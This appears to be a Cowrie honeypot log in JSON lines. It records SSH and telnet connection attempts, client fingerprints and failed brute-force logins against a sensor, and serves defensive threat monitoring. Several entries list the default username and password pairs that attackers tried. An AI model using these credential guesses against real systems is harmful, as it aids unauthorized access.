{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:11:20.329086Z","src_ip":"91.92.40.153","session":"4dcd3c027b23","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"7.6","message":"Connection lost after 7.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:11:20.429078Z","src_ip":"91.92.40.153","session":"ff8841e899fe","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"passwd","message":"login attempt [root/passwd] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:11:24.949657Z","src_ip":"91.92.40.153","session":"4dcd3c027b23","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.153","src_port":37514,"dst_ip":"10.17.0.5","dst_port":22,"session":"9b9c248d341b","protocol":"ssh","message":"New connection: 91.92.40.153:37514 (10.17.0.5:22) [session: 9b9c248d341b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:11:24.954010Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:11:25.873960Z","src_ip":"91.92.40.153","session":"9b9c248d341b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:11:25.877293Z","src_ip":"91.92.40.153","session":"9b9c248d341b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"8.5","message":"Connection lost after 8.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:11:27.395808Z","src_ip":"91.92.40.153","session":"4dcd3c027b23","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"160.187.174.22","src_port":60018,"dst_ip":"159.203.135.109","dst_port":22,"session":"c03e4cff9dab","protocol":"ssh","message":"New connection: 160.187.174.22:60018 (159.203.135.109:22) [session: c03e4cff9dab]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:11:28.096107Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:11:28.100393Z","src_ip":"160.187.174.22","session":"c03e4cff9dab","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:11:28.340506Z","src_ip":"160.187.174.22","session":"c03e4cff9dab","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"root%","message":"login attempt [admin/root%] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:11:28.819029Z","src_ip":"139.99.74.35","session":"f6223528f604","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"dev","password":"123456","message":"login attempt [dev/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:11:29.305406Z","src_ip":"160.187.174.22","session":"c03e4cff9dab","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"zahra","password":"12345678","message":"login attempt [zahra/12345678] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:11:29.370072Z","src_ip":"91.92.40.153","session":"9b9c248d341b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:11:30.556445Z","src_ip":"160.187.174.22","session":"c03e4cff9dab","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"5.8","message":"Connection lost after 5.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:11:30.759987Z","src_ip":"91.92.40.153","session":"9b9c248d341b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.153","src_port":45668,"dst_ip":"10.17.0.5","dst_port":22,"session":"d883ce327681","protocol":"ssh","message":"New connection: 91.92.40.153:45668 (10.17.0.5:22) [session: d883ce327681]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:11:33.071280Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:11:33.085232Z","src_ip":"91.92.40.153","session":"d883ce327681","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:11:33.154323Z","src_ip":"91.92.40.153","session":"d883ce327681","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":34.21258044242859,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:11:33.505954Z","src_ip":"107.6.151.170","session":"d96fead8a5d7","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"runner","password":"runner","message":"login attempt [runner/runner] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:11:33.549119Z","src_ip":"91.92.40.153","session":"d883ce327681","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:11:34.895895Z","src_ip":"91.92.40.153","session":"d883ce327681","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"36.9","message":"Connection lost after 36.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:11:36.171265Z","src_ip":"139.99.74.35","session":"f6223528f604","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"139.99.74.35","src_port":40976,"dst_ip":"159.203.135.109","dst_port":22,"session":"b5913d889169","protocol":"ssh","message":"New connection: 139.99.74.35:40976 (159.203.135.109:22) [session: b5913d889169]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:11:36.395079Z"}
{"eventid":"cowrie.session.connect","src_ip":"170.64.224.25","src_port":50932,"dst_ip":"159.203.135.109","dst_port":23,"session":"eaa4d35c547e","protocol":"telnet","message":"New connection: 170.64.224.25:50932 (159.203.135.109:23) [session: eaa4d35c547e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:11:36.785293Z"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.153","src_port":45724,"dst_ip":"10.17.0.5","dst_port":22,"session":"51805a133e6b","protocol":"ssh","message":"New connection: 91.92.40.153:45724 (10.17.0.5:22) [session: 51805a133e6b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:11:38.498830Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:11:39.091212Z","src_ip":"91.92.40.153","session":"51805a133e6b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:11:39.094416Z","src_ip":"91.92.40.153","session":"51805a133e6b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"mysql","password":"mysql123","message":"login attempt [mysql/mysql123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:11:40.966101Z","src_ip":"91.92.40.153","session":"51805a133e6b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"4.8","message":"Connection lost after 4.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:11:41.182937Z","src_ip":"139.99.74.35","session":"b5913d889169","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"139.99.74.35","src_port":40982,"dst_ip":"159.203.135.109","dst_port":22,"session":"8081a5b2b7a9","protocol":"ssh","message":"New connection: 139.99.74.35:40982 (159.203.135.109:22) [session: 8081a5b2b7a9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:11:41.437554Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.144.64.128","src_port":50496,"dst_ip":"10.17.0.5","dst_port":22,"session":"05736ec006b1","protocol":"ssh","message":"New connection: 162.144.64.128:50496 (10.17.0.5:22) [session: 05736ec006b1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:11:42.323210Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:11:42.327461Z","src_ip":"162.144.64.128","session":"05736ec006b1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:11:42.418047Z","src_ip":"162.144.64.128","session":"05736ec006b1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.9","message":"Connection lost after 3.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:11:42.433213Z","src_ip":"91.92.40.153","session":"51805a133e6b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"geminiwallet","password":"gemini123","message":"login attempt [geminiwallet/gemini123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:11:42.687946Z","src_ip":"162.144.64.128","session":"05736ec006b1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:11:43.781589Z","src_ip":"162.144.64.128","session":"05736ec006b1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.153","src_port":54456,"dst_ip":"10.17.0.5","dst_port":22,"session":"63c080fead67","protocol":"ssh","message":"New connection: 91.92.40.153:54456 (10.17.0.5:22) [session: 63c080fead67]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:11:44.773687Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:11:45.068404Z","src_ip":"91.92.40.153","session":"63c080fead67","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:11:45.071827Z","src_ip":"91.92.40.153","session":"63c080fead67","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"rancher","password":"rancher","message":"login attempt [rancher/rancher] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:11:46.851617Z","src_ip":"91.92.40.153","session":"63c080fead67","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:11:47.835474Z","src_ip":"139.99.74.35","session":"8081a5b2b7a9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:11:47.838418Z","src_ip":"139.99.74.35","session":"8081a5b2b7a9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.9","message":"Connection lost after 3.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:11:48.695061Z","src_ip":"91.92.40.153","session":"63c080fead67","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.153","src_port":54536,"dst_ip":"10.17.0.5","dst_port":22,"session":"e6192df0d851","protocol":"ssh","message":"New connection: 91.92.40.153:54536 (10.17.0.5:22) [session: e6192df0d851]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:11:51.363324Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:11:51.380195Z","src_ip":"91.92.40.153","session":"e6192df0d851","protocol":"ssh"}
